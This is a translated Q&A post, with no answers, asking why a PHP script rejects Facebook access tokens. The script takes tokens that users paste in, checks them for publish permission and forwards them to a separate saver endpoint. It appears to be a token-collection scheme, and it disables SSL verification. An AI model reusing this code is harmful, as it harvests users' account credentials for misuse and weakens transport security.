为什么返回访问令牌无效?

时间:2017-04-22 04:15:44

标签: php facebook-graph-api

此代码在验证此访问令牌有效之后不保存访问令牌,而不是返回i=1。八小时前,这个剧本工作正常,但它突然停止工作。

<?php
function get_json($url) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_FAILONERROR, 0);
    $data = curl_exec($ch);
    curl_close($ch);
    return json_decode($data);
    }
function get_html($url) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_FAILONERROR, 0);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
    }
$token2 = $_GET["user"];
session_start();
if(isset($token2)){
    if(preg_match("'access_token=(.*?)&expires_in='", $token2, $matches)){
    $token = $matches[1];
        }else{
    $token = $token2;}
        $exe = json_decode(get_html("https://graph.facebook.com/app?access_token=".$token ))->id;
    $extend = get_html("https://graph.facebook.com/me/permissions?access_token="  . $token);
    if($extend == true){
        $pos = strpos($extend, "publish_actions");
        if ($pos == true) {
        $_SESSION['token'] = $token;
        $ch = curl_init('http://my site/saver.php');
        curl_setopt ($ch, CURLOPT_POST, 1);
        curl_setopt ($ch, CURLOPT_POSTFIELDS, "token=".$token);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_exec ($ch);
        curl_close ($ch);
        header('Location:index.php');
            }
            else {
        header('Location:index.php?i=1');}
        //access token is not valid
    }else{
    header('Location:index.php?i=4');}
    }else{
    header('Location:index.php?i=2');}
?>   

0 个答案:

没有答案